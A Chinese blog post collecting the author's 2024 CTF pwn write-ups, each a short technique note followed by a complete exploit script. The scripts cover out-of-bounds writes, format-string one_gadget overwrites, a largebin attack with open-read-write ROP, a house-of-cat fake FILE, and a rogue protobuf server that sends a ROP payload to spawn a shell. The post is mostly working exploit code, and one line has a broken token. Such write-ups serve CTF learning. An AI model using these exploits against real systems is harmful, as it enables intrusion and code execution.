求知若渴,虚心若愚.|

lmarch2

园龄:1年8个月粉丝:5关注:7

2024比赛wp合集

记录一下最近比赛的wp吧

D^3CTF

d3note

没有限制idx范围,越界任意读写,读malloc地址泄露libc,网上写system

from Excalibur2 import*

proc('./pwn')
lib('./libc.so.6')
el('./pwn')

default('h')

def add(idx,size,content):
    sl(b"276")
    sl(str(idx))
    sl(str(size))
    sl(content)

def dele(idx):
    sl(b"6425")
    sl(str(idx))

def edit(idx,content):
    sl(b"2064")
    sl(str(idx))
    sl(content)

def show(idx):
    sl(b"1300")
    sl(str(idx))

target = 0x4040A0

add(0, 0x20, b"/bin/sh\x00")
# debug('b *0x401377\nb *0x401422\nb *0x401221\nb *0x401368\n')
debug('b *0x40141D\nb *0x4013D6\n')
show(-924)
libcbase = get_addr64()-libcsym('malloc')
system = libcbase+libcsym('system')
read = sym('read')
lg("libcbase",libcbase)
lg("system",system)
lg("read",read)

# add(-10,str(0x100),b"aaaa")
# add(-10,hex(system),b"aaaa")
# edit(-1440,b"a"*0x5a90)
edit(-1440,p64(0x404000)*0x20)
edit(-1450,p64(system))

dele(0)

ia()

write_flag_where

写libc的code段,先改一个ret为nop,使得canary报错,然后修改canary报错消息打印的偏移,将打印出的消息和原消息对比得到偏移可比对出flag

from Excalibur2 import *

default('h')

# proc('./test')
debug('b *$rebase(0x133E)\n')
# debug('b *$rebase(0x1361)\n')
# sl("140737352835740 14")
lib('./libc.so.6')
# libcsym('_fortify_fail')
flag = ""
# sl(str(140737352783190+0x3)+" "+str(10))
# sl("140737352643938 14")#smash
# sl("140737352808591 14")
# ru("*** ")
# print(ru(" ***"))
# flag += ru(" ***").decode()
# print(flag)
flags = {
    'sy': 'a',
    'ym': 'b',
    'ms': 'c',
    's.': 'd',
    '.c': 'e',
    'c ': 'f',
    'HA': '0',
    'AN': '1',
    'NG': '2',
    'G ': '3',
    ' *': '4',
    'SE': '5',
    'EC': '6',
    'CS': '7',
    'S ': '8',
    ' *': '9'
}
for i in range(16):
    proc('./test')
    sl(str(140737352783190+0x3)+" "+str(i+6))
    sl("140737352643938 18")#smash
    sl("140737352808591 14")
    ru("*** ")
    flag += flags[rec(2).decode()]
    print(rec(2))
    # pause()
    # syms.c yms.c ms.c s.c .c c HANG ANG NG G
    # flag += flags[ru(" ***").decode()]
    print(flag)
#     print(rc())
#     pause()
    cl()
print("your flag: ","flag{"+flag+"}")
    # ia()
#
# ia()

"""
pwndbg> p (0x7ffff7f5a916-88)  ## a
pwndbg> hex 140737353459902
+0000 0x7ffff7f5a8be  73 79 6d 73 2e 63 00 2b  30 78 00 2d 30 78 00 5b  │syms.c.+│0x.-0x.[│
+0010 0x7ffff7f5a8ce  30 78 00 5d 0a 00 62 75  66 66 65 72 20 6f 76 65  │0x.]..bu│ffer.ove│
+0020 0x7ffff7f5a8de  72 66 6c 6f 77 20 64 65  74 65 63 74 65 64 00 6c  │rflow.de│tected.l│
+0030 0x7ffff7f5a8ee  6f 6e 67 6a 6d 70 20 63  61 75 73 65 73 20 75 6e  │ongjmp.c│auses.un│
pwndbg> p (0x7ffff7f5a916-83)  ## f
$4 = 140737353459907
pwndbg> hex $
+0000 0x7ffff7f5a8c3  63 00 2b 30 78 00 2d 30  78 00 5b 30 78 00 5d 0a  │c.+0x.-0│x.[0x.].│
+0010 0x7ffff7f5a8d3  00 62 75 66 66 65 72 20  6f 76 65 72 66 6c 6f 77  │.buffer.│overflow│
+0020 0x7ffff7f5a8e3  20 64 65 74 65 63 74 65  64 00 6c 6f 6e 67 6a 6d  │.detecte│d.longjm│
+0030 0x7ffff7f5a8f3  70 20 63 61 75 73 65 73  20 75 6e 69 6e 69 74 69  │p.causes│.uniniti│
pwndbg> hex $Quit
pwndbg> p (Quit
pwndbg> hex $Quit
pwndbg> p (0x7ffff7f5a916-83Quit
pwndbg> p(0xb9-0x30)
$5 = 137
pwndbg> p (0x7ffff7f5a916-137)  ## 0
$6 = 140737353459853
pwndbg> hex 140737353459853
+0000 0x7ffff7f5a88d  48 41 4e 47 00 53 45 43  53 00 25 73 28 25 73 29  │HANG.SEC│S.%s(%s)│
+0010 0x7ffff7f5a89d  20 5b 25 70 5d 00 25 73  28 25 73 25 63 25 23 74  │.[%p].%s│(%s%c%#t│
+0020 0x7ffff7f5a8ad  78 29 20 5b 25 70 5d 00  62 61 63 6b 74 72 61 63  │x).[%p].│backtrac│
+0030 0x7ffff7f5a8bd  65 73 79 6d 73 2e 63 00  2b 30 78 00 2d 30 78 00  │esyms.c.│+0x.-0x.│
pwndbg> p(0xb9-0x39)
$7 = 128
pwndbg> p (0x7ffff7f5a916-128)  ## 9
$8 = 140737353459862
pwndbg> hex 140737353459862
+0000 0x7ffff7f5a896  00 25 73 28 25 73 29 20  5b 25 70 5d 00 25 73 28  │.%s(%s).│[%p].%s(│
+0010 0x7ffff7f5a8a6  25 73 25 63 25 23 74 78  29 20 5b 25 70 5d 00 62  │%s%c%#tx│).[%p].b│
+0020 0x7ffff7f5a8b6  61 63 6b 74 72 61 63 65  73 79 6d 73 2e 63 00 2b  │acktrace│syms.c.+│
+0030 0x7ffff7f5a8c6  30 78 00 2d 30 78 00 5b  30 78 00 5d 0a 00 62 75  │0x.-0x.[│0x.]..bu│
"""

DASCTF X GFCTF

control

利用C++的catch机制绕过canary,调试控制rbp为栈上地址,在栈上写rop

from Excalibur2 import *

default("h")


while True:
    proc('./pwn')
    remo('node5.buuoj.cn',29422)

    gift_str = b"/bin/sh\x00"
    gift = 0x4d3350
    payload = p64(0x401c72)+p64(gift)+p64(0x0000000000405285)+p64(0)+p64(0x0000000000462c27)+p64(59)+p64(0x40161e)
    payload += cyclic(34+78-len(payload))
    payload += b"\xd8\xe2"
    sda(">",gift_str)
    sda("?",payload)
    sl("cat /flag")
    try:
        flag = ru("}")
    except:
        print("[-] Failed")
        cl()
        continue
    else:
        print(flag)
        ia()
"""
0x000000000040161e : syscall
0x0000000000495b8a : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000462c27 : pop rax ; ret
0x0000000000401c72 : pop rdi ; ret
"""


DASCTF X HDCTF

签个到吧

一下午卡在没法一次改同一个栈链上,比赛最后四十分钟搜到了个https://zikh26.github.io/posts/a523e26a.html

才发现神奇的$不能在一次printf中对一个地址进行修改+利用,所以需要在一次printf中利用两次相同链的情况需要把前面的\(展开,也就是说用%号来推进偏移,而不是`\)`来推偏移

原因不知道为什么,需要去printf的源码中寻找答案,有博客猜测:任意地址写用 $ 指定写入和按参数顺序写入的操作是先后分开的,先按参数顺序写入指针后,再用 $ 去在刚刚的指针基础上进行修改

这种极限的格式化字符串利用使用条件为

  • 栈上有两条A->B->C的栈链
  • 非栈上的格式化字符串
  • 结尾程序退出使用_exit函数(防止劫持fini_array)

本题来说

  • 第一条链,写printf函数的返回地址,这样能起到每次修改返回地址使程序循环利用fmt的作用
  • 第二条链,写One_gadget,分三次写,一次写两字节,栈链为A->B->(目标存放ogg的栈地址分别+0、+2、+4)
  • 这里将ogg存放在printf函数返回地址的栈地址+8,最后修改printf返回地址为ret,成功返回到ogg处执行getshell

如图所示

写入之后

一些Attention:

  • 本题的特殊之处在于,假设现在有栈指针 A=>B=>C=>D ,我可以用格式化字符通过 B 为跳板修改 CE,那么修改后的链为 A=>B=>E=>F,如果有第二次格式化字符串漏洞的话,我可以找到链 B=>E=>F 通过 E 为跳板,修改原本的 FG。但这个操作无法用一次的格式化字符串漏洞完成,可能因为 B=>E=>F 这条链本身是不存在的,即使用格式化字符串漏洞做出了 B=>E=>F 这条链也无法同时再去改这条链上的指针
  • 在重新读入格式化字符串后,补\x00来截断上一次的格式化字符串
  • 使用send发送0x100的数据,别用sendline,每次发送后接受一下sleep一下,解决很多玄学问题)
  • 劫持printf返回地址的时候,只需修改最后一字节为0x3F即可,但是显然前面的输出一定远大于所需字节,用到一个技巧是:用0x10003F减去前面pay的长度,之后用%hhn来截断最后一个字节

每一部分的pay细节详见exp

exp

 from Excalibur2 import *

proc('./pwn')
remo("node5.buuoj.cn:27353")
default('h')
lib("./libc.so.6")
# lib("./libc-2.31.so")
el("./pwn")

ru(b'addr: ')
gift = int(ru(b'\n'),16)
target = gift -0x28
lg('gift:',gift)
lg('target:',target)
tar1 = target & 0xffff
tar2 = tar1+0x8
lg('tar1:',tar1)
lg('tar2:',tar2)

# 泄露libc地址,改printf返回地址为0x40133F
# 一个%号表示偏移为1,pay1前两行一共7个%号,所以偏移为7,等价于%7$
pay1 = b"%p"*5
print(len(pay1))
pay1 += b"%"+str((tar1-35)).encode()+b"c%hn"
pay1 += b'%'+str(0x10003F-(tar1)-46).encode()+b'c%49$hhn'
pay1 = pay1.ljust(0x100,b'\x00')
debug("b *0x401361\n")
sda(b'message:',pay1)

ru(b"0x")
ru(b"0x")
ru(b"0x")
libc = int(ru(b"0x"),16)-18-libcsym("read")
lg("libc",libc)

ogg = [0xe3afe,0xe3b01,0xe3b04]
os = libc+ogg[1]

os1 = (os)&0xffff
os2 = (os>>16)&0xffff
os3 = (os>>32)&0xffff
read = got("read")

# 写第二条栈链为pritnf返回地址+0x8,指向ogg的最后两字节
pay2 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay2 += b"%"+str(tar2-0x3F).encode()+b"c%8$hn"
pay2 = pay2.ljust(0x100,b'\x00')
rc()
sleep(0.1)
sd(pay2)

# 往pritnf返回地址+0x8处写ogg最后两字节
pay3 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay3 += b"%"+str(os1-0x3F).encode()+b"c%47$hn"
pay3 = pay3.ljust(0x100,b'\x00')
rc()
sleep(0.1)
sd(pay3)

# 写第二条栈链为pritnf返回地址+0x8+2,指向ogg的中间两字节
pay4 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay4 += b"%"+str(tar2-0x3F+2).encode()+b"c%8$hn"
pay4 = pay4.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay4)

# 往pritnf返回地址+0x8处写ogg中间两字节
pay5 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay5 += b"%"+str(os2-0x3F).encode()+b"c%47$hn"
pay5 = pay5.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay5)

# 写第二条栈链为pritnf返回地址+0x8+4,指向ogg的前面两字节
pay6 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay6 += b"%"+str(tar2-0x3F+4).encode()+b"c%8$hn"
pay6 = pay6.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay6)

# 往pritnf返回地址+0x8处写ogg前面两字节
pay7 = b"%"+str(0x3F).encode()+b"c%49$hhn"
pay7 += b"%"+str(os3-0x3F).encode()+b"c%47$hn"
pay7 = pay7.ljust(0x100,b'\x00')
# pause()
rc()
sleep(0.1)
sd(pay7)

# printf的返回地址改成0x40101a,即ret的地址,执行one_gadget成功getshell
pay = b"%"+str(0x101a).encode()+b"c%49$hn" 
pay = pay.ljust(0x100,b'\x00')
rc()
sleep(0.1)
sd(pay)

ia()

"""
0xe3afe execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
"""

DASCTF2024暑期挑战赛

spring_board

非栈上格式化字符串写两次返回地址两次写og

from Excalibur2 import*

proc("./pwn")
remo("node5.buuoj.cn:25964")
default("h")

# pay1 = "-%p"*10
debug("b *0x40082A\n")
pay1 = b"%3$p-%6$p-"
pay1 = pay1.ljust(0x40,b"\x00")
sda(b"keyword\n",pay1)

libc = int(ru(b"-"),16)-0xf7360
lg("libc",libc)

stack = int(ru(b"-"),16)
target = stack-0xd8
lg("target",target)

ogg = [0x45226,0x4527a,0xf03a4,0xf1247]
os = libc+ogg[0]
lg("os",os)

os1 = (os)&0xffff
os2 = (os>>16)&0xffff
lg("os1",os1)
lg("os2",os2)

tar = target&0xffff
lg("tar",tar)

pay2 = b"%"+str(tar).encode()+b"c%25$hn"
pay2 = pay2.ljust(0x40,b"\x00")
sleep(1)
sda(b"keyword\n",pay2)

pay3 = b"%"+str(os1).encode()+b"c%39$hn"
pay3 = pay3.ljust(0x40,b"\x00")
sleep(1)
sda(b"keyword\n",pay3)

pay4 = b"%"+str(tar+2).encode()+b"c%25$hn"
pay4 = pay4.ljust(0x40,b"\x00")
sleep(1)
sda(b"keyword\n",pay4)

pay5 = b"%"+str(os2).encode()+b"c%39$hn"
pay5 = pay5.ljust(0x40,b"\x00")
sleep(1)
sda(b"keyword\n",pay5)



ia()


"""
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
"""

magic_book

利用入链排序绕过largebin双链表检查,largebin attack写book打出edit的栈溢出,orw读flag即可

from Excalibur2 import*

proc("./pwn")
remo("48.218.22.35:9991")
el("./pwn")
lib("./libc.so.6")
default("h")

def cmd(c):
    sla(b"choice:\n", str(c))

def add(size):
    cmd(1)
    sla(b"need?\n", str(size))

def dele(idx,cnt=b"",page=-1):
    cmd(2)
    sla(b"delete?\n", str(idx))
    if page != -1:
        sla(b"deleted?(y/n)\n", b"y")
        sla(b"write?\n",str(page))
        sla(b"content: \n",cnt)
    else:
        sla(b"deleted?(y/n)\n", b"n")
        pass

def edit(cnt):
    cmd(3)
    sla(b"story!\n", cnt)



ru(b"gift: ")
target = int(ru(b"what"),16)
lg("target",target)

base = target-0x4010
lg("base",base)

# debug("b *$rebase(0x1580)\nb *$rebase(0x13FE)\nb *$rebase(0x14B9)\n")
debug("b *$rebase(0x160C)\n")
add(0x4a8) # p1
add(0x28) # g1
add(0x498) # p2
add(0x28) # g2
dele(0)
add(0x4b8) # g3
dele(2,p64(target+0x40-0x20)*3,0)
add(0x4b8) # g4




pop_rdi =  base+0x0000000000001863
ret = base+0x000000000000101a
read_got = got("read")+base
puts_plt = plt("puts")+base
# pay = b"a"*0x20+b"a"*8+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(0x15E1+base)
pay = b"a"*0x20+b"a"*8+p64(pop_rdi)+p64(read_got)+p64(puts_plt)+p64(0x15E1+base)
edit(pay)

read_real = get_addr64()

libcbase = read_real - libcsym("read")
lg("libcbase",libcbase)

syscall = libcbase+0x46C85
pop_rax = libcbase+0x0000000000045eb0
pop_rsi = libcbase+0x000000000002be51 
pop_rbx = libcbase+0x0000000000035dd1
pop_rdx_rbx = libcbase+0x00000000000904a9

binsh , system = searchlibc("read",read_real,1)
lg("binsh",binsh)
lg("system",system)
og = [0x50a47,0xebc81,0xebc85,0xebc88]
# os = libcbase + og[3]

pay2 = b"a"*0x20+b"a"*8+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(target+0x100)+p64(pop_rax)+p64(0)+p64(pop_rdx_rbx)+p64(0x8)*2+p64(syscall)
pay2 += p64(pop_rdi)+p64(target+0x100)+p64(pop_rsi)+p64(0)+p64(pop_rdx_rbx)+p64(0)*2+p64(pop_rax)+p64(2)+p64(syscall)
pay2 += p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(target+0x100)+p64(pop_rdx_rbx)+p64(0x100)+p64(0)+p64(pop_rax)+p64(0)+p64(syscall)
pay2 += p64(pop_rdi)+p64(1)+p64(pop_rsi)+p64(target+0x100)+p64(pop_rdx_rbx)+p64(0x100)+p64(0)+p61+p64(syscall)
# pay2 = b"a"*0x20+b"a"*8+p64(ret)+p64(os)
# edit(pay2)
sla(b"story!",pay2)

sleep(2)
sl(b"/flag\x00\x00\x00\x00")

ia()


"""
0x0000000000029db4 : syscall
0x0000000000045eb0 : pop rax ; ret
"""


"""
0x000000000000185c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000185e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001860 : pop r14 ; pop r15 ; ret
0x0000000000001862 : pop r15 ; ret
0x000000000000185b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000185f : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000000012b3 : pop rbp ; ret
0x0000000000001430 : pop rbx ; pop rbp ; ret
0x0000000000001863 : pop rdi ; ret
0x0000000000001861 : pop rsi ; pop r15 ; ret
0x000000000000185d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000101a : ret
0x000000000000161f : ret 0x8b48
0x000000000000174a : ret 0xfffb
"""


"""
0x50a47 posix_spawn(rsp+0x1c, "/bin/sh", 0, rbp, rsp+0x60, environ)
constraints:
  rsp & 0xf == 0
  rcx == NULL
  rbp == NULL || (u16)[rbp] == NULL

0xebc81 execve("/bin/sh", r10, [rbp-0x70])
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [[rbp-0x70]] == NULL || [rbp-0x70] == NULL

0xebc85 execve("/bin/sh", r10, rdx)
constraints:
  address rbp-0x78 is writable
  [r10] == NULL || r10 == NULL
  [rdx] == NULL || rdx == NULL

0xebc88 execve("/bin/sh", rsi, rdx)
constraints:
  address rbp-0x78 is writable
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL
"""

R3CTF

Nullullullllu

改stdin结构体中的_IO_buf_base最后一位为\x00,能够在_IO_buf_base-0x20处开始读入0x64字节,伪造stdin结构体,打getchar->_IO_getc->_IO_getc_unlocked->__uflow这条链,用house of cat

  • 改IO_wfile_jumps+0x20
  • fake_io0x8处改成faki_io_addr,_IO_buf_end=1,_IO_save_base=0;绕过检查
  • getchar读取触发
from Excalibur2 import *

proc('./pwn')
default("h")
lib("./libc.so.6")

def libcbase():
    sla(">",str(1))
    ru(b"libc_base = ")
    libc = int(ru("\n"),16)
    lg("libcbase",libc)
    return libc

def null(target):
    sla(">",str(2))
    sla("Mem: ",str(target))

libc = libcbase()
target = libc+0x203918
lg("target",target)
null(hex(target))

base = target-56
lg("base",base)
pay = p64(base)*4+p64(base+0x200)+p64(0)*3
# pay = pay.ljust(0x64,b"\x00")
debug("b *$rebase(0x12C3)\nb *$rebase(0x138D)\n")
sda(">",pay)
sleep(1)

system = libc+libcsym("system")

# debug(f"b *$rebase(0x12C3)\nb *$rebase(0x138D)\nc\nc\nx/40gx {base}\n")
# debug("b _IO_file_underflow\nc\n")
rdi = 0x68732f6e69622f
lg("libcbase",libc)
lg("target",target)
lg("base",base)
# lg("binsh",rdi)
call_addr = system
lg("system",call_addr)
fake_io_addr=base # 伪造的fake_IO结构体的地址
lg("fake_io_addr",fake_io_addr)
next_chain = 0
fake_IO_FILE=p64(rdi)         #_flags=rdi  system可设置为binsh的地址
fake_IO_FILE+=p64(fake_io_addr)
fake_IO_FILE+=p64(0)*6
# fake_IO_FILE +=p64(0)# _IO_buf_base=0
# FSOP触发时需要设置fp->_IO_write_ptr > fp->_IO_write_base 即 0x28处值要大于0x20处值
fake_IO_FILE +=p64(1)# rcx!=0(FSOP) _IO_buf_end=1 满足fp->_IO_buf_base != f->_IO_buf_end ,也就是wide_data->_IO_read_ptr != _wide_data->_IO_read_end
fake_IO_FILE +=p64(0)# _IO_save_base = 2
fake_IO_FILE +=p64(fake_io_addr+0xb0)#_IO_backup_base=rdx 满足fp->_IO_save_base < f->_IO_backup_base ,也就是_wide_data->_IO_write_ptr < _wide_data->_IO_write_base
# mov    rdx, qword ptr [rax + 0x20] 其中rax=fake_io_addr+0x30 所以 rdx=fake_io_addr+0x50
fake_IO_FILE +=p64(call_addr)#_IO_save_end=call addr(call setcontext/system)
# call   qword ptr [rax + 0x18] 其中rax=fake_io_addr+0x40 所以 call fake_io_addr+0x58
fake_IO_FILE = fake_IO_FILE.ljust(0x68, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x88, b'\x00')
fake_IO_FILE += p64(base-0x1000)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0xa0, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr 这里rax1可以设置成其他的地方,设置成fake_io_addr+0x30更好布局和节省内存
#  mov    rax, qword ptr [rdi + 0xa0] 其中rdi=fake_io_addr 所以rax=rax1=[fake_io_addr]=fake_io_addr+0x30
fake_IO_FILE = fake_IO_FILE.ljust(0xc0, b'\x00')
fake_IO_FILE += p64(0) # __malloc_assert触发时 mode=1 
# FSOP触发时,要满足fp->_mode <= 0,FSOP条件之一
fake_IO_FILE = fake_IO_FILE.ljust(0xd8, b'\x00')
fake_IO_FILE += p64(libc+libcsym("_IO_wfile_jumps")+0x20)  # __malloc_assert触发时vtable=IO_wfile_jumps+0x10
# FSOP触发时vtable=IO_wfile_jumps+0x30
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr
# print(len(fake_IO_FILE))
# mov    rax, qword ptr [rax + 0xe0] 其中rax=rax1=fake_io_addr+0x30 所以 rax=rax2=[fake_io_addr+0x110]=fake_io_addr+0x40

sd(fake_IO_FILE)


ia()

2024JQCTF

pwn_克莱恩特

分析程序发现只需要绕过protobuf的一些检查,就能利用unhex函数的漏洞溢出控制程序执行流

因为目标程序是一个客户端程序,所以我们需要写一个server让client连接我们的server,然后攻击

exp.py

from Excalibur2 import *

proc("./pwn")
default("h")

debug("b *0x40eee1\n")
# debug("b processResponseContent\n")
# debug("b *0x40ED78\n")
# pay1 = b"1"
pay1 = b"127.0.0.1"
# pay2 = b"2222\x00"+b"a"*0x10
pay2 = b"9999\x00"
sla(b"ip:",pay1)
sla(b"port:",pay2)

pause()
sl(b"/bin/sh\x00")


ia()

server.py

import socket
import threading
import struct
import odd_pb2 

seq = 0x13370001
# 定义处理函数
"""
0x000000000054688a : pop rax ; ret
0x000000000065B435           : syscall; ret
0x00000000004146a4 : pop rdi ; ret
0x00000000004161b3 : pop rsi ; ret
0x00000000006615ab : pop rdx ; pop rbx ; ret
"""
def process_response_content(message):
    pay = "f"*2064+"xxxxxxxxxxxxxxxx"+"00"*24+"a446410000000000"+"0000000000000000"+"b361410000000000"+"7171760000000000"+"aa15660000000000"+"0800000000000000"*2+"35B4650000000000"
    pay += "8a68540000000000"+"3b00000000000000"+"a446410000000000"+"7171760000000000"+"b361410000000000"+"0000000000000000""ab15660000000000"+"0000000000000000"*2+"35B4650000000000"
    # pay += 
    # pay = "0x"+"a"*2064
    # pay = "0x"+"a"*2
    # pay = "0x"+"fffffffffffffffffffffffffffffffffffffffff"*2
    pay = pay.encode()
    response = odd_pb2.Message()
    if message.cont == b"hello":
        response.opcode = odd_pb2.OP_HELLO
        response.cont = b"helloOk"
        print("send helloOk")
    elif message.cont == b"sessionBegin":
        response.opcode = odd_pb2.OP_SESSION
        response.cont = b"sessionOk"
        print("send sessionOk")
    elif message.cont == b"recvHex":
        response.opcode = odd_pb2.OP_MSG
        response.cont = (pay)
        print("send hex")
    elif message.cont == b"sessionEnd":
        response.opcode = odd_pb2.OP_END
        response.cont = b"Ok"
        print("send Ok")
    else:
        response.cont = b"Unknown opcode"
    response.magic = 875704370
    response.seq = seq
    return response

# 定义客户端处理线程
def handle_client(client_socket):
    try:
        while True:
                        
            content = client_socket.recv(1024)
            if not content:
                break
            print("[*] received content: ")
            print(content)
            # 解析消息
            message = odd_pb2.Message()
            message.ParseFromString(content)
            print("message: ", message)
            
            # 处理内容并生成响应
            response = process_response_content(message)
            
            # 序列化响应
            response_data = response.SerializeToString()
            # response_length = struct.pack('!I', len(response_data))
            
            # 发送响应
            print("[*] Sending response")
            print(response_data)
            print(response)
            client_socket.send(response_data)
            global seq
            print(f"seq: {seq}")
            seq += 2
            
    except (ValueError, ConnectionError, MemoryError) as e:
        print(f"Error: {e}")
    finally:
        client_socket.close()

# 启动服务器
def start_server(host, port):
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    server.bind((host, port))
    server.listen(5)
    print(f"[*] Listening on {host}:{port}")

    while True:
        client_socket, addr = server.accept()
        print(f"[*] Accepted connection from {addr}")
        client_handler = threading.Thread(target=handle_client, args=(client_socket,))
        client_handler.start()

# 设置主机和端口
HOST = '0.0.0.0'
PORT = 9999

# 启动服务器
start_server(HOST, PORT)


odd_pb2用protobuf编译即可

本文作者:lmarch2

本文链接:https://www.cnblogs.com/imarch22/p/18352527

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   lmarch2  阅读(56)  评论(0编辑  收藏  举报
历史上的今天:
2023-08-10 NSSCTF ROUND#14 love
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起
  1. 1 404 not found REOL
404 not found - REOL
00:00 / 00:00
An audio error has occurred.

作曲 : Reol

作词 : Reol

fade away...do over again...

fade away...do over again...

歌い始めの一文字目 いつも迷ってる

歌い始めの一文字目 いつも迷ってる

どうせとりとめのないことだけど

伝わらなきゃもっと意味がない

どうしたってこんなに複雑なのに

どうしたってこんなに複雑なのに

噛み砕いてやらなきゃ伝わらない

ほら結局歌詞なんかどうだっていい

僕の音楽なんかこの世になくたっていいんだよ

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

僕は気にしない 君は気付かない

何処にももういないいない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

忘れていく 忘れられていく

We don't know,We don't know.

目の前 広がる現実世界がまた歪んだ

目の前 広がる現実世界がまた歪んだ

何度リセットしても

僕は僕以外の誰かには生まれ変われない

「そんなの知ってるよ」

気になるあの子の噂話も

シニカル標的は次の速報

麻痺しちゃってるこっからエスケープ

麻痺しちゃってるこっからエスケープ

遠く遠くまで行けるよ

安定なんてない 不安定な世界

安定なんてない 不安定な世界

安定なんてない きっと明日には忘れるよ

fade away...do over again...

fade away...do over again...

そうだ世界はどこかがいつも嘘くさい

そうだ世界はどこかがいつも嘘くさい

綺麗事だけじゃ大事な人たちすら守れない

くだらない 僕らみんなどこか狂ってるみたい

本当のことなんか全部神様も知らない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

僕は気にしない 君は気付かない

何処にももういないいない

Everybody don't know why.

Everybody don't know why.

Everybody don't know much.

忘れていく 忘れられていく

We don't know,We don't know.